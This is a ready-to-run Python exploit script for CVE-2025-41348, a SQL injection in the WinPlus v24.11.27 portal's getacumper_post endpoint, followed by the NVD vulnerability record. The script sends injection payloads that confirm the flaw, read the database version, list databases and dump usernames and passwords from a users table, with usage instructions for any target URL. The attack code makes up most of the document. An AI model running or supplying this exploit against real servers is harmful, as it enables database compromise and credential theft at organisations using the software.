CVE-2025-41348

import requests import sys # CVE-2025-41348 SQL Injection PoC # Target: WinPlus v24.11.27 by Informática del Este # Endpoint: /WinplusPortal/ws/sWinplus.svc/json/getacumper_post def exploit_sql_injection(target_url, payload): """ Exploit SQL injection in WinPlus getacumper_post endpoint Args: target_url: Base URL of the vulnerable WinPlus application payload: SQL injection payload to execute Returns: Response from the server """ endpoint = f"{target_url}/WinplusPortal/ws/sWinplus.svc/json/getacumper_post" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious payload with SQL injection in 'val1' and 'cont' parameters data = { 'val1': payload, 'cont': 'additional_value' } try: response = requests.post(endpoint, json=data, headers=headers, timeout=30) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_database_version(target_url): """ Extract database version information using SQL injection """ # Payload to extract database version payload = "' UNION SELECT @@version--" print(f"[*] Extracting database version...") response = exploit_sql_injection(target_url, payload) if response and response.status_code == 200: print(f"[+] Database version info: {response.text}") return response def list_databases(target_url): """ List all databases on the server """ payload = "' UNION SELECT schema_name FROM information_schema.schemata--" print(f"[*] Listing databases...") response = exploit_sql_injection(target_url, payload) if response: print(f"[+] Response: {response.text}") return response def dump_users_table(target_url): """ Dump users table content """ payload = "' UNION SELECT username||':'||password FROM users--" print(f"[*] Dumping users table...") response = exploit_sql_injection(target_url, payload) if response: print(f"[+] Leaked credentials: {response.text}") return response if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-41348.py <target_url>") print("Example: python cve-2025-41348.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-41348: SQL Injection in WinPlus v24.11.27") # Step 1: Verify vulnerability test_payload = "' OR '1'='1" print(f"\n[*] Testing basic SQL injection...") response = exploit_sql_injection(target, test_payload) if response and response.status_code == 200: print(f"[+] Vulnerability confirmed!") # Step 2: Extract database information extract_database_version(target) # Step 3: List available databases list_databases(target) # Step 4: Dump sensitive data dump_users_table(target) print("\n[*] Exploitation complete")

{"cve": {"id": "CVE-2025-41348", "sourceIdentifier": "[email protected]", "published": "2025-11-18T12:15:45.630", "lastModified": "2025-11-19T19:14:35.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in WinPlus v24.11.27 by Informática del Este. This vulnerability allows an attacker recover, create, update an delete databases by sendng a POST request using the parameters 'val1' and 'cont in '/WinplusPortal/ws/sWinplus.svc/json/getacumper_post'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iest:winplus:24.11.27:*:*:*:-:*:*:*", "matchCriteriaId": "1A66AD43-00CF-49F5-BF3A-C88CE8F59E4B"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/stored-cross-site-scripting-xss-winplus-informatica-del-este", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}